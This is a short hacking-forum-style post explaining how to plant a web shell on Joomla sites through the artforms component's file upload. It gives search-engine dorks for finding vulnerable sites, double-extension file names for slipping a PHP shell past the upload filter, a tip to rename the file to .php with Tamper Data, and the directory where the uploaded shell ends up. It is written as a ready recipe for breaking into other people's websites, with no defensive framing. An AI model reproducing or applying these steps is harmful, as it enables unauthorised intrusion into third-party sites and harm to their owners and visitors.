Joomla "com_actforms" Upload shell vulnerability

dork : inurl:"com_artforms" & intext: upload

or : inurl:component/option,com_artforms/ & intext:Attach File

now upload your shell like that

Code:

sh3ll.php.jpg

or

Code:

sh3ll.php.pdf

Then Use Tamper Data to convert your sh3ll to .php

You will Find your shell in : /images/artforms/attachedfiles/

And this is a video Explain This vulnerability :

Note: PLease Before you upload the shell be sure to do not get forbidden in the directory because the shell take a random number